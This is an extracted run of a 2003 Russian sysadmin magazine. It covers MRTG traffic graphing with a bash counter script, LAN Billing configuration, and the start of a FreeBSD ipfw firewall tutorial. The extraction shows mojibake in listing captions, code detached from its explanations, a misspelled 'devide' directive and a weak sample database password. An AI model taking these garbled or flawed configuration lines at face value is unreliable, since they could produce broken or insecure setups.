Программа MRTG (The Multi Router Traffic Grapher) предназ-начена для мониторинга загрузки канала за сутки, неделю,месяц и год. Программа MRTG умеет рисовать красивыекартинки в формате PNG, которые отображают состояниеканала за определенный период времени. Программа пре-доставляет очень удобные средства для подсчета трафика:подсчет для всей сети и для отдельного узла, генерирова-ние отчетов и диаграмм в формате HTML и многое другое.

Пример использования вы можете увидеть на сайтеhttp://www.stat.ee.ethz.ch/mrtg/.

Для работы mrtg нам потребуется маршрутизатор, под-держивающий протокол SNMP. В этой статье будет рас-смотрен пример, позволяющий обойтись без маршрути-затора и вообще не использовать протокол SNMP.

Программа MRTG будет периодически запускаться наузле MRTG, обновляя информацию о трафике. Пользова-тели локальной сети могут ознакомиться с этой информа-цией по протоколу HTTP. Естественно, на узле MRTG дол-жен быть установлен веб-сервер.

Перед установкой программы убедитесь в наличииследующих библиотек:� gd (http://www.boutell.com/gd/);� libpng (http://www.libpng.org/pub/png/);� zlib (http://www.info-zip.org/pub/infozip/zlib/).

Загрузить последнюю версию MRTG можно по адресу:http://ee-staff.ethz.ch/~oetiker/webtools/mrtg/pub.

Если вы используете операционную систему RedHatверсии 7 или выше, программа MRTG, скорее всего, бу-дет уже у вас установлена. Мы не будем скачивать исход-ные тексты программы, а сразу воспользуемся уже со-бранным пакетом rpm. Установим mrtg командой:

После установки нужно подготовить программу к пер-вому запуску, то есть указать, откуда получать сведенияо трафике.

Программа MRTG состоит из трех частей:� cfgmaker – утилита для создания конфигурационно-

го файла;� indexmaker – утилита для создания файла index.html –

страницы краткого обзора, дающая вам общее пред-ставление о всех целях, которые вы контролируете. Оцелях мы поговорим немного позже;

� mrtg – сам mrtg.

Первый конфигурационный файл удобно создать с по-мощью программы cfgmaker, а потом добавить в него до-полнительные параметры. Введите команду:

Теперь разберемся, что все это означает. Прежде всего, на-помню, что означает наклонная черта: это просто переносстроки. Когда вы будете вводить команду, вместо наклон-ной черты используйте пробел как разделитель параметров.

Параметр WorkDir задает рабочий каталог. В этот ката-лог будут помещены html-файлы и рисунки – отчеты о тра-фике. Каталог /var/www/html/, как вы уже успели заметить,является корневым каталогом нашего веб-сервера, поэто-му для просмотра статистики нужно ввести следующий URLв окне браузера: http://localhost/mrtg/.

Кроме параметра WorkDir имеются также параметрыHtmlDir и ImageDir. В эти каталоги будут помещены html-файлы и картинки. При определении этих параметров нуж-но учитывать, что параметр WorkDir имеет приоритет надпараметрами HtmlDir и ImageDir и поэтому, если указан па-раметр WorkDir, mrtg поместит отчеты и картинки именно вэтот каталог, а значения параметров HtmlDir и ImageDirбудут проигнорированы.

Группа глобальных параметров Options управляет по-строением изображения. Параметр bits означает, что мыизмеряем трафик в битах, поэтому все числа нужно ум-ножить на 8. Второй параметр, growright, указывает на-правление оси времени. Позже мы рассмотрим все пара-метры подробнее.

Параметр output программы cfgmaker задает имя кон-фигурационного файла, который будет создан.

Нужно отметить, что параметры WorkDir и Options яв-ляются параметрами программы mrtg, а параметры globalи output – параметрами программы cfgmaker.

Параметр community@router указывает имя сообще-ства SNMP-устройства. В нашем случае – это наш SNMP-маршрутизатор. Обычно используется имя сообществаpublic. Параметр community@router как раз и являетсяцелью, которую мы будем контролировать.

После выполнения этой команды будет сгенерировантакой файл mrtg.cfg.

Имя цели (r1) пишется в квадратных скобках. Для раз-ных целей можно задавать разные параметры, например:

Параметр MaxBytes определяет максимальное числобайт для цели. Значения, превышающие MaxBytes, будутигнорироваться.

Параметр Title определяет заголовок страницы, кото-рая будет содержать информацию о цели, а параметрPageTop – текст, который будет помещен в верхней частиэтой страницы.

Числа 1 и 2 перед именем сообщества – это номераинтерфейсов во внутренней таблице SNMP-устройства.После имени (или IP-адреса) SNMP-устройства можноуказать порт SNMP. По умолчанию используется стандар-тный порт 161.

В качестве цели может быть использована программа,которая выводит на стандартный вывод четыре строки:

rpm -ih mrtg*

cfgmaker --global 'WorkDir: /var/www/html/mrtg' \--global 'Options[_]: bits,growright' \--output /var/www/html/mrtg/mrtg.cfg \community@router

WorkDir: /var/www/html/mrtgOptions[_]: bits,growrightTarget[r1]: community@router

Target[r1]: 1:community@routerTarget[r2]: 2:community@routerMaxBytes[r1]: 1250000MaxBytes[r2]: 2500000Title[r1]: Traffic Analysis for first interfacePageTop[r1]: <H1>Stats for our interface #1</H1>Title[r2]: Traffic Analysis for second interfacePageTop[r2]: <H1>Stats for our interface #2</H1>

Page 24: 007 Системный Администратор 06 2003

22

администрирование

� Количество принятых байт.� Количество отправленных байт.� Время работы объекта после включения.� Имя объекта.

Программу нужно записать в обратных кавычках, например:

Очень полезными параметрами являются Refresh иInterval. Первый определяет частоту обновления страниц сотчетами в браузере, а второй – предполагаемый интер-вал запуска программы MRTG. По умолчанию значенияобоих параметров равны 300 секундам. Опции perminute иperhour позволяют измерять трафик в единицах за минутуи час соответственно. Опция noinfo подавляет вывод ин-формации об устройстве и времени его работы. Пример:

Я думаю, что теории вполне достаточно, тем более чтовместе с MRTG поставляется отличная документация, ко-торая доступна по адресу http://localhost/mrtg/. Теперь пе-рейдем к практической настройке.

Скорее всего, у вас не будет SNMP-маршрутизатора,поскольку в небольших сетях маршрутизатором являет-ся сама Linux-машина, а выделение средств на приобре-тение аппаратного маршрутизатора в ближайшие не-сколько лет не предвидится. Да и намного интереснеесчитать трафик своего компьютера, а не какого-то марш-рутизатора, которого вы даже и не видели.

Я предлагаю довольно простое решение, настройка ко-торого не займет у вас много времени. Основывается оновот на чем: как я уже отмечал, вместо цели можно ука-зать программу, которая бы выводила информацию настандартный вывод в таком формате:

Строка 1 – это входящие байты (принятые), Строка 2 –исходящие байты (отправленные), Строка 3 – время, на про-тяжении которого работает устройство, Строка 4 – имя цели.Где же взять эту программу? Написать самому! Не буду об-ременять вас лишними подробностями, которые не относятсяк самой MRTG, а больше к программированию сценариев,поэтому рассмотрим готовый листинг программы count.

Использовать программу нужно так:

Например:

Запустив программу, вы должны увидеть примерноследующие строки:

Во второй строке программы происходит следующее:находится нужная нам запись с именем интерфейса, ко-торый мы указали в первом параметре при вызове про-граммы ($1). Затем интерпретатор awk выводит значенияпервого и девятого полей, содержащие количество при-нятых и переданных байт.

В третьей строке программы вычисляется время uptime.Последние две строки выводят время uptime и назва-

ние интерфейса. Предположим, что у вас имеется дваинтерфейса: локальный eth0 и выделенная линия (ppp0),идущая к провайдеру.

Теперь узел MRTG сам является маршрутизатороми самостоятельно считает свой трафик. Файл конфигу-рации mrtg будет выглядеть так, как это показано в ли-стинге 2.

Из листинга 2 видно, что у вас имеются две цели, длякаждой из них заданы свои параметры. Нужно учитывать,что имя интерфейса, которое вы передаете программе count,должно совпадать с названием цели (eth0 и ppp0). В каче-стве рабочего каталога я использовал /var/www/html/mrtg/ipc.От использования каталога /var/www/html/mrtg/ я отказал-ся, поскольку в нем находится документация по mrtg. Па-раметры MaxBytes, Title и PageTop являются обязатель-ными. При их отсутствии mrtg попросит вас исправитьошибки в конфигурационном файле. Теперь можете за-пустить программу mrtg командой:

Target[r3]: `/usr/bin/program`

Options[_]: bits, perminute, noinfo

Ñòðîêà 1Ñòðîêà 2Ñòðîêà 3Ñòðîêà 4

Ëèñòèíã 1. Ïðîãðàììà count#!/bin/bash# (c) 2002 Denis Kolisnichenko# Usage: /usr/bin/count iface/bin/grep "$1" /proc/net/dev | /bin/awk -F ":" ↵

'{ print $2 }' | /bin/awk '{ print $1 "\n" $9 }'UPTIME=`/usr/bin/uptime | /bin/awk -F " " '{ print $3 }'`echo $UPTIMEecho $1

/usr/bin/count èíòåðôåéñ

count eth0

273841012359602:57,eth0

Ëèñòèíã 2. Ôàéë /var/www/html/mrtg/mrtg.cfg

Target[eth0]: `/usr/bin/count eth0`WorkDir: /var/www/html/mrtg/ipcOptions[eth0]: nopercent,growright,noinfo,gaugeTitle[eth0]: eth0 TrafficPageTop[eth0]: <h1>eth0 Traffic </h1>MaxBytes[eth0]: 99999999kilo[eth0]: 1024YLegend[eth0]: bytesShortLegend[eth0]: bytesLegendO[eth0]: &nbsp; eth0 Traffic :LegendI[eth0]: &nbsp; eth0 Traffic :Legend1[eth0]: eth1 Traffic in bytes

Target[ppp0]: `/usr/bin/count ppp0`WorkDir: /var/www/html/mrtg/ipcOptions[ppp0]: nopercent,growright,noinfo,gaugeTitle[ppp0]: ppp0 Leased LinePageTop[ppp0]: <h1>ppp0 Leased Line </h1>MaxBytes[ppp0]: 99999999kilo[ppp0]: 1024YLegend[ppp0]: bytesShortLegend[ppp0]: bytesLegendO[ppp0]: &nbsp; ppp0 Traffic :LegendI[ppp0]: &nbsp; ppp0 Traffic :Legend1[ppp0]: ppp0 Traffic in bytes

mrtg /var/www/html/mrtg/mrtg.cfg

Page 25: 007 Системный Администратор 06 2003

23№6(7), июнь 2003

администрирование

В каталоге /var/www/html/mrtg/ipc должны появитьсяпервые файлы-отчеты. Имя файла отчета будет совпа-дать с именем цели. Первые два запуска mrtg будет «ру-гаться» на отсутствие предыдущих данных, но потомвсе будет работать как надо. Если третий запуск про-шел гладко, то есть без сообщений об ошибках, можнодобавить mrtg в расписание демона crond. Для этогодобавьте в файл /etc/crontab одну из следующих строк(какая кому нравится):

или

После этого желательно перезапустить демон crond:

Программу mrtg можно запускать в режиме демона (нечерез crond). Для этого установите значение параметраRunAsDaemon, равное yes. За более подробной инфор-мацией обратитесь к документации по mrtg.

Теперь самое время проверить, как работает mrtg. За-пустите браузер и введите адрес http://localhost/mrtg/ipc/ppp0.html. В результате вы должны увидеть информациюо загрузке канала. Первые графики вы увидите пример-но через час после первого запуска mrtg, в зависимостиот настроек периода запуска mrtg.

Если вы администратор довольно большой сети уров-ня предприятия, возможно, более удобным решением длявас станет использование программы LAN Billing, кото-рая разработана компанией Network Solutions.

Система LAN Billing предназначена для сбора, преобра-зования и выдачи информации об IP-трафике. Программабудет полезной интернет-провайдерам, которые хотят вес-ти учет трафика их клиентов, а также директору предприя-тия, желающего знать, кто из его сотрудников постаралсядо такой степени, что счет за Интернет увеличился в 2 разав сравнении с предыдущим месяцем. Кроме того, началь-ник узнает не только объем переданной и принятой сотруд-ником информации, а также и узлы, которые сотрудник по-сещал. Вполне возможно, что сотрудник занимался нужнымделом, а может случиться и такое, что подчиненный выка-чивал какой-нибудь фильм размером в 800 Мб, и тогда... То,что будет с этим сотрудником, нас не касается, лучше озна-комимся с основными возможностями программы:� Подсчет трафика по нескольким подсетям.� Поддержка конфигурации сетей, в которых применя-

ется маскирование (masquerade).� Детализация данных о трафике с точностью до IP-адре-

са потребителя и IP-адреса удаленного ресурса, которыйпосещал потребитель за любой промежуток времени.

� Сжатие статистики для минимизации объема храни-мой информации и ускорения доступа к ней со сторо-ны управляющего клиента.

� Два клиента для доступа к статистике: веб-клиент, на-писанный на PHP, и Windows.

� Построение графиков загрузки интернет-канала за от-четный период, а также график распределения нагруз-ки по сетям и адресам.

� Сбор статистики с NetFlow-совместимых устройств, на-пример маршрутизаторов Cisco Systems.

� Поддержка виртуальных групп (возможность присвое-ния группе адресов или сетей учетной записи, под пол-номочиями которой пользователь может просматриватьстатистику только о трафике своей группы адресов).

� Поддержка контроля доступа для виртуальных групп,в частности прекращение обслуживания по истечениисредств на счете клиента.

Из всего этого можно сделать вывод, что программаочень полезна. Настроить (читайте – создать самостоятель-но) все это средствами Linux – задача вполне выполнимаяи посильная для любого профессионала, но довольно не-благодарная. Слишком подробно программу рассматриватьне буду, поскольку на сайте http://www.lanbilling.ru находитсяпрекрасная документация по этой программе. В этой ста-тье мы рассмотрим только установку и настройку системыLAN Billing, а об ее использовании вы сможете прочитать вдокументации по системе. Система LAN Billing состоит изтрех основных компонентов:� сетевого агента;� сервера статистики;� управляющего клиента.

Сетевой агент занимается подсчетом трафика, серверстатистики хранит таблицы, содержащие информацию отрафике, а управляющий агент управляет всем этим. Еслибыть предельно точным, то управляющий клиент не толь-ко управляет конфигурацией системы, а еще и создаетотчеты об использованном трафике сети.

5,10,15,20,25,30,35,40,45,50,55,59 ↵* * * * root /usr/bin/mrtg /var/www/html/mrtg/mrtg.cfg

0-59/5 * * * * root /usr/bin/mrtg /var/www/html/mrtg/mrtg.cfg

/etc/init.d/crond restart

Ðèñ. 1. Ñòàòèñòèêà äëÿ óñòðîéñòâà ppp0

Page 26: 007 Системный Администратор 06 2003

24

администрирование

Сетевой агент может быть двух видов:� Агент для сетевого адаптера Ethernet (для операцион-

ных систем Linux, FreeBSD, NetBSD).� Сервер для аппаратного маршрутизатора или комму-

татора Cisco, поддерживающего протокол NetFlow.

Существует несколько способов интеграции системыLAN Billing в вашу сеть. Вот четыре основных способа:� Установка системы на Unix-маршрутизатор.� Установка системы на Unix-маршрутизатор, выполня-

ющий NAT/Masquerade.� Система устанавливается в сегмент, в котором нахо-

дится маршрутизатор, и информация о трафике дос-тупна на сетевом уровне.

� Система устанавливается в сегмент, доступный по IP-протоколу (UDP) для NetFlow-совместимого устрой-ства, осуществляющего маршрутизацию.

В первом случае мы выступаем владельцами IP-сети,то есть каждому компьютеру нашей сети назначен реаль-ный IP-адрес. Это самый простой случай.

Второй случай подразумевает под собой наличие од-ного реального IP-адреса. Естественно, компьютер с на-стоящим IP-адресом – это маршрутизатор. Все осталь-ные компьютеры получают доступ к Интернету через шлюзс настоящим IP-адресом. Шлюз выполняет NAT (сетевоепреобразование адреса), при котором компьютеры нашейсети «думают», что они по-настоящему общаются с узла-ми Интернета, а последним кажется, что они общаютсятолько с нашим шлюзом. То есть шлюз перезаписываетзаголовки IP-пакетов, заменяя фиктивный IP-адрес лю-бого узла нашей сети на свой собственный (реальныйадрес) и отправляет пакет в Интернет. Когда пакет прихо-дит обратно, он опять перезаписывает IP-адрес и отправ-ляет его определенному компьютеру нашей сети.

В третьем случае интерфейс маршрутизатора и сер-вера с установленной системой LAN Billing объединеныконцентратором.

Мне более близок первый случай, но остановимся навтором, поскольку он более близок к реалии наших дней –не у каждого предприятия есть своя собственная IP-сеть.Программа LAN Billing поставляется в виде пакета RPM,поэтому проблем с ее установкой не возникает.

Параметры учета трафика находятся в файле /etc/billing.conf. При редактировании этого файла обратитевнимание на то, что даже если какая-нибудь директиване используется, она должна присутствовать в файле ине быть закомментированной. Иначе произойдет ошибкапри инициализации системы. Комментарии в этом файленачинаются со знака решетки #.

В дальнейшем будем предполагать, что реальный IP-ад-рес сервера 193.111.111.1, и что у нас один сегмент сети сфиктивными адресами – 192.168.0.1. Директива serverextipопределяет внешний адрес сервера (реальный IP-адрес).Данную директиву нужно использовать, если вы используе-те NAT, в противном случае, оставьте эту директиву без из-менения. Значение по умолчанию – 150.150.150.150.

Директива writemode определяет, какой режим за-писи данных о трафике мы хотим использовать: db илиfile. В первом случае мы будем использовать для хра-нения статистики сервер MySQL, а во втором – данныебудут сохраняться в файле. Второй случай нам не ин-тересен, поскольку мы не сможем генерировать отче-ты средствами системы LAN Billing, поэтому установи-те значение db.

Следующая группа директив определяет параметрысервера MySQL: его адрес, имя пользователя, пароль ибазу данных.

Директива LogFile определяет месторасположениефайла протокола работы системы. Файл, определенныйв директиве LogFile будет использоваться, если вы опре-делили режим учета file в директиве writemode.

Директива сегмент описывает наш сегмент сети. Вдирективе указывается адрес и маска сети. Можно ис-пользовать несколько директив – в зависимости от коли-чества сегментов, для которых мы хотим вести учет тра-фика. При указании маски сети нельзя использовать би-товую нотацию (192.168.0.0/24).

С помощью директивы actuality можно указать время,на протяжении которого база данных будет хранить инфор-мацию об адресе назначения и сервисах, с которыми со-единялись наши пользователи. По умолчанию – 100 часов.

Директива minter определяет время, за которое нужнообъединять статистику об однотипном трафике для пос-ледующего хранения. По умолчанию – 100 секунд.

Период записи информации о трафике можно опре-делить с помощью директивы flush. По умолчанию – 600секунд.

Директива fdelay определяет время в секундах послерегистрации последнего пакета, когда поток считаетсязавершенным и подлежащим записи в базу данных.

serverextip=193.111.111.1

writemode=db

serveraddress=192.168.0.1mysqluser=sqlusermysqlpassword=qwerty123456mysqldatabase=nfbilling

logfile=/var/log/nfbilling/nfbilling.log

segment=192.168.0.0 255.255.255.0

actuality=100

minter=100

flush=600

fdelay=60

Page 27: 007 Системный Администратор 06 2003

25№6(7), июнь 2003

администрирование

Директива dumpfile задает имя файла, содержащеговременную информацию о незавершенных потоках.

Директива device определяет интерфейс, на которомнужно считать трафик. Как правило, нужно считать тра-фик внешнего интерфейса. Например, если вы подклю-чаетесь к Интернету через интерфейс ppp0 (выделеннаялиния), а к своей домашней сети через eth0, но вести нуж-но учет интерфейса ppp0.

Директива ignoremask указывает маску подсети, тра-фик которой мы будем игнорировать. Эта директива нуж-на, чтобы мы не считали локальный трафик. При учетепакетов на интерфейсе, подключенном к Интернету, нуж-но задать маску 255.255.255.255:

Директива ingnorenet определяет сеть, трафик кото-рой должен быть проигнорирован в любом случае. Син-таксис ее такой же, как и синтаксис директивы segment.Можно использовать для нетарифицируемого трафика.

Директивы debug и debugfile относятся к отладке про-граммы. Директивы headers и Disable пользователем (чи-тайте – администратором) не используются. Директивыduser, dgroup используются для определения учетных за-писей пользователя и группы, под полномочиями которыхвыполняется сетевой агент Cisco. Директива dport опре-деляет номер порта агента Cisco.

После правки файла конфигурации нужно перезапус-тить систему. Для этого выполните одну из команд:

Но более корректной будет команда:

Обычно сетевой агент LAN Billing запускается автома-тически, но вы можете запустить его вручную с помощьюкоманды:

Остановить агента можно командой:

Теперь можно просмотреть результат нашей рабо-ты. Управляющий клиент системы выполнен в виде веб-интерфейса. Для доступа к статистике вы можете ис-пользовать любой браузер. В поле ввода адреса брау-зера введите:

В случае если система установлена и функционируеткорректно, вы получите доступ к консоли администрато-ра. Более подробную информацию о программе, а такжепримеры ее применения вы можете посмотреть на сайтеhttp://www.lanbilling.ru. Ваши вопросы и комментарии при-сылайте по адресу [email protected].

dumpfile=/var/log/nfbilling/nfbcd-dump

devide=ppp0

ignoremask=255.255.255.255

ignorenet=127.0.0.0 255.0.0.0

duser=nobodydgroup=nobodydport=7223

/etc/rc.d/init.d/nfbilling.init restart

killall –HUP nfbcdkillall –HUP nfbccd

/etc/rc.d/init.d/nfbilling.init start

/etc/rc.d/init.d/nfbilling.init stop

http://âàø_web_ñåðâåð/analyze.php

Page 28: 007 Системный Администратор 06 2003

26

администрирование

Ipfw и управлениетрафиком в FreeBSD

ИГОРЬ ЧУБИН

Page 29: 007 Системный Администратор 06 2003

27№6(7), июнь 2003

администрирование

Трафик, проходящий через шлюз, не должен быть бес-контрольным. Абсолютно естественно, когда хочется:� Выполнять фильтрацию трафика, то есть пропускать

только то, что можно, фиксировать то, что нужно, иуничтожать все остальное.

� Выполнять трансляцию адресов, для того чтобы скрытьнесколько хостов одним, когда нужно дать доступ к Ин-тернету целой сети, а есть только один IP-адрес; илиперенаправить различные входящие соединения наразличные компьютеры, скрытые за брандмауэром.

� Выполнять регулировку трафика, то есть ограничиватьтрафик одного вида, чтобы трафик другого вида чув-ствовал себя свободнее.

� Выполнять учет трафика, дабы знать, каков объем техили иных данных, прошедших через шлюз за опреде-ленный промежуток времени.

ОС FreeBSD предлагает хороший инструментарий длярешения названных вопросов. Центральным элементомэтого инструментария является подсистема ядра IPFW,предназначенная для пакетной фильтрации и других род-ственных задач; и одноименная утилита ipfw, которая нуж-на для настройки этой подсистемы.

Здесь рассматривается, как пользоваться утилитойipfw для настройки фильтрации/учета/регулировки тра-фика; конфигурировать демон natd для выполнениятрансляции адресов, а также указывается, с какими оп-циями должно быть собрано ядро системы, для того что-бы все это работало. В завершение рассказывается,как IPFW и natd автоматически настраивать при заг-рузке системы.

Фильтрация пакетовЧто это такое, и для чего нужнафильтрация пакетовВнутренняя дружественная сеть и потенциально опас-ный Интернет должны быть разделены. Внутренниекомпьютеры должны быть ограничены от пагубноговнешнего воздействия, но при этом, с одной стороны,они должны обеспечивать другие компьютеры внутрен-ней сети необходимыми сервисами; с другой сторо-ны, должны иметь полноценный доступ к компьюте-рам Интернета. Эта задача обычно решается при по-мощи брандмауэра.

Брандмауэр представляет собой программно-аппарат-ный комплекс, выполняющий разграничение сетей и ог-раничивающий доступ из одной сети в другую. Терминбрандмауэр (firewall) берет свое начало в строительнойотрасли, где он означает сооружение, препятствующеераспространению огня при пожаре из одной части зданияв другую. Аналогичным образом в компьютерных сетяхбрандмауэр ограничивает распространение вредного се-тевого воздействия.

Брандмауэры обычно устанавливаются в том месте, гдевнутренняя сеть соединяется с Интернетом. Весь трафик,входящий из Интернета или исходящий из внутренней сети,проходит через брандмауэр. При этом брандмауэр может

проанализировать трафик и выяснить, является ли он до-пустимым с точки зрения политики безопасности.

Брандмауэры обычно строятся на базе двух элемен-тов, которые занимаются фильтрацией и контролем тра-фика, но делают это по-разному:� Фильтры пакетов выполняют анализ содержимого про-

ходящих через него сетевых пакетов и пропускаюттолько некоторые из них. Таким образом, нежелатель-ные соединения отсекаются. Такой брандмауэр рабо-тает на сетевом и транспортном уровнях и абсолютнопрозрачен (незаметен) для протоколов более высоко-го уровня.Проблема фильтрации пакетов обычно ложится на пле-чи ядра системы: в Linux этим занимается NetFilter, вOpenBSD – PF, а в FreeBSD – IPFW или IPF. Кстати,очень мощный функциональный фильтр пакетов PF изOpenBSD в скором времени может быть полностьюпортирован и в FreeBSD.

� Брандмауэр уровня приложений также известен какпрокси-сервер (сервер-посредник). Запросы на ресур-сы по ту сторону сети направляются ему, а он уже са-мостоятельно получает доступ к этому ресурсу и пе-редает полученную информацию запросившему ееклиенту. Брандмауэр работает на уровне приложений.Это значит, что не существует прозрачных соедине-ний более низкого уровня, проходящих через него.Ярким примером такого рода брандмауэра может слу-жить кэширующий прокси-сервер, который обрабаты-вает клиентские HTTP-запросы. Клиенты не могут со-единиться напрямую с веб-сервером и отправляютзапрос прокси-серверу, который, в свою очередь, об-ращается уже к веб-серверу.

Здесь рассматривается только первый из этих элементов –пакетный фильтр, а точнее, его реализация IPFW в FreeBSD.

Утилита ipfwУтилита ipfw используется в FreeBSD для управления пакет-ным фильтром IPFW и регулировщиком трафика dummynet,встроенными в ядро.

Каждый пакет, обрабатываемый ядром, проходит че-рез цепочку правил (ruleset). Цепочка представляет со-бой набор правил, на соответствие каждому из которыхпоследовательно проверяются пакеты. Если соответствиенайдено, выполняется заданное действие, иначе прове-ряется следующее правило. И так до тех пор, пока не бу-дет найдено соответствие или не проверятся все правилацепочки. В последнем случае срабатывает правило поумолчанию, которое определяет, как нужно поступить стеми пакетами, о которых никто не побеспокоился.

Каждое правило в цепочке имеет номер от 1 до 65535.Номера не обязательно должны идти подряд, важно то,что правила с меньшим номером проверяются раньшеправил с большим номером. Правило по умолчанию все-гда имеет номер 65535. Например, в этом случае цепочкафильтрации содержит два правила.

# ipfw list00100 deny ip from 10.0.0.2 to any65535 allow ip from any to any

Page 30: 007 Системный Администратор 06 2003

28

администрирование

Первое правило отклоняет (deny) все пакеты, которыеприходят от хоста с адресом 10.0.0.2. Второе правило,которое является правилом по умолчанию, разрешает про-ходить всем остальным.

Цепочку правил можно модифицировать с помощьюipfw. Для этого утилите нужно указать, какое действие онадолжна выполнить с цепочкой:

Здесь действие определяет действие, которое нужновыполнить; правило – правило, которое будет добавлено вцепочку (при условии, что его нужно добавлять). Необяза-тельное поле число указывает, с каким именно правиломв цепочке выполняется действие. Например, команда:

добавит правило deny ip from 10.0.0.3 to any в цепочкуфильтрации. Номер правила будет выбран автоматичес-ки: он будет равен максимальному номеру правила (несчитая правила по умолчанию) плюс шаг.

Команда:

будет работать точно также, но если правило с номером100 уже существует, оно будет перезаписано.

Правила ipfwОбщая структура правила такова:

Обычно большинство полей в правиле не указывают,и оно имеет более простую структуру:

Каждое правило содержит условие (тело), при кото-ром оно будет срабатывать, и действие (действие), ко-торое говорит о том, как именно правило будет себявести.

Например, правило:

содержит действие allow, которое применяется ко всемпакетам (при условии, что пакет дошел до правила). Вы-бор пакетов определяется телом правила: from any to any.

Простейшими действиями ipfw являются allow и deny.Действие allow разрешает прохождение пакета, и онбольше не проверяется на соответствие ни одному ус-ловию, а deny, наоборот, приводит к тому, что пакет от-брасывается. При этом отправитель не получает ника-кой информации о судьбе пакета – пакет считается про-сто потерявшимся. Если нужно, чтобы отправитель знало том, что пакет был уничтожен, следует использоватьдействие unreach host.

Другие действия ipfw, такие как divert, fwd, pipe, queue,используются для организации трансляции адресов и ре-гулирования полосы пропускания.

Пример фильтрации пакетовПопробуем теперь применить наши знания на практике инемного поэкспериментировать с нашим фильтром. Дляэтих экспериментов необходимо, чтобы ядро было собра-но с поддержкой IPFW. Как правило, ядро включает под-держку IPFW, но если нет, результатом выполнения любойкоманды ipfw будет сообщение об ошибке. В этом случаеядро нужно пересобрать (см. далее раздел «Настройка ядрадля поддержки ipfw») или просто загрузить модуль:

Настройка фильтра начинается с его очистки:

Все правила фильтрации удалены, фильтр пуст. Теперьдействует только правило по умолчанию, и что произойдет

# ipfw add deny ip from 10.0.0.3 to any

# ipfw add 100 deny ip from 10.0.0.3 to any

Òàáëèöà 1. Äåéñòâèÿ ñ öåïî÷êàìè ïðàâèë.

[ ÷èñëî ] [ set ÷èñëî ] [ prob âåðîÿòíîñòü ] äåéñòâèå [ log ] òåëî

[ ÷èñëî ] äåéñòâèå òåëî

allow from any to any

Òàáëèöà 2. Ýëåìåíòû ïðàâèëà ipfw.

Òàáëèöà 3. Äåéñòâèÿ â ïðàâèëàõ ipfw.

# kldload ipfw

# ipfw -q flush

# ipfw äåéñòâèå [ ÷èñëî ] [ ïðàâèëî ]

Page 31: 007 Системный Администратор 06 2003

29№6(7), июнь 2003

администрирование

с трафиком, определяет только оно: трафик будет беспре-пятственно проходить, если правило по умолчанию accept(ядро собрано с опцией IPFIREWALL_DEFAULT_TO_ACCEPT),и уничтожаться в противном случае.

Когда по умолчанию трафик запрещен, если вы нача-ли настраивать фильтр пакетов удаленно, то на этом на-стройка, скорее всего, и закончится. Очистив фильтр, вытем самым удалили правило, которое позволяло поддер-живать вам удаленную сессию доступа. Для того чтобыэтого не произошло, нужно было добавить команду, раз-решающую трафик:

Теперь компьютер открыт всему миру, и в данном слу-чае открытость – не самое лучшее его качество.

Нужно закрыть все лишнее. Пусть:� Трафик с адресами 127.0.0.0/8 разрешен только че-

рез интерфейс обратной петли;� Запрещается весь трафик, приходящий через вне-

шний интерфейс (назовем его ${external}), если у негоадрес отправителя или получателя относится к диа-пазону зарезервированных для внутреннего исполь-зования адресов;

� Разрешаются только входящие TCP-соединения на 22,25 и 80 порты, то есть мы принимаем соединения изИнтернета, адресованные только нашему SSH, почто-вому и веб-серверам;

� Разрешены любые исходящие TCP-соединения, то естьмы можем соединяться с любым компьютером в Ин-тернете, когда сами этого захотим;

� Разрешается UDP-трафик на 53 и с 53 порта, то естьтрафик, необходимый для работы DNS;

� Разрешается прохождение исходящих эхо-запросов ивходящих эхо-ответов, то есть мы можем пинговатьвнешние компьютеры, а они нас нет;

� Весь остальной трафик должен быть заблокирован.

Запрет локального трафика не через локальный ин-терфейс выполняется правилами, которые уже стали тра-диционными при настройке фильтра пакетов:

Первое правило разрешает любой трафик через ин-терфейс петли обратной связи lo0. Следующие два зап-рещают весь трафик, который приходит с зарезервиро-ванных адресов из сети 127.0.0.0/8. Правила 200 и 300сработают только в том случае, если пакет прошел нечерез интерфейс lo0.

Трафик с адресами внутренних сетей (RFC 1918) недолжен приходить через внешний интерфейс.

Такой же трафик не должен и уходить, хотя, в сущнос-ти, для нас это менее важно:

Ключевая часть фильтрации: мы хотим, чтобы из внеш-ней сети были доступны только те сервисы, которые нуж-но, и не более того. Нужно, чтобы наш компьютер можнобыло удаленно администрировать с помщью SSH (22); ондолжен принимать почту по протоколу SMTP (25) и под-держивать веб-сервер (80):

Первое правило разрешает устанавливать соединенияиз любой точки сети на внешний интерфейс нашего хос-та ${external} по портам 22, 25 и 80. Ключевое слово setupв конце строки говорит о том, что правило относится толь-ко к пакетам, инициирующим соединение (то есть тем,которые имеют установленный флаг SYN и сброшенныеACK и RST). Второе правило относится к другим пакетам:тем, которые передаются в рамках уже установленногосоединения. Такие пакеты разрешаются все. Логика пра-вила очень простая: «Если соединение уже каким-то об-разом удалось установить, то значит все нормально, дан-ные могут проходить. Если же соединение не установле-но, а пакет просто делает вид, что относится к какому-тосоединенеию, ну что ж, это его проблемы, он все равноникому не нужен.» Правило рассуждает так, но здесь ононемного ошибается. В определенных случаях подобныйпакет, если его умело составить, может нанести вред ком-пьютерам за брандмауэром. Для того чтобы справиться стакими пакетами, нужно использовать фильтр с поддер-жкой состояний (stateful), но об этом в другой раз.

Если соединение хотим установить мы, то препятствийбыть не должно:

Обратите внимание на то, что мы разрешаем соеди-нение только с одного IP-адреса. Если же нас интересуетнесколько IP-адресов, то мы должны указать их либо ввиде адреса сети, либо создать несколько правил – поодному для каждого из адресов.

Следующее правило относится к UDP-трафику. Этоттрафик справедливо заслужил репутацию не самого безо-пасного: из-за отсутствия внутренних механизмов контро-ля соединения отследить его действительный источникпрактически невозможно, что делает подмену адресов лег-ким делом. Проблема осложняется тем, что этот трафикиспользуют такие потенциально небезопасные службы, как,например, NFS. Внутри сети UDP ведет себя хорошо: не-перегруженный лишними механизмами обеспечения на-дежной доставки и контроля соединения, он легок и эконо-мичен, и в сети это, определенно, является благом, но заее пределами все обстоит совершенно иначе. В результа-те правило работы с UDP звучит так: если от UDP нельзяизбавиться совсем, его должно быть как можно меньше.

# ipfw -q flush && ↵ipfw add 65000 allow ip from any to any

# ipfw add 100 allow ip from any to any via lo0# ipfw add 200 deny ip from any to 127.0.0.0/8# ipfw add 300 deny ip from 127.0.0.0/8 to any

# ipfw add deny from any to 10.0.0.0/8 via ${external}# ipfw add deny from any to 172.16.0.0/12 via ${external}# ipfw add deny from any to 192.168.0.0/16 via ${external}

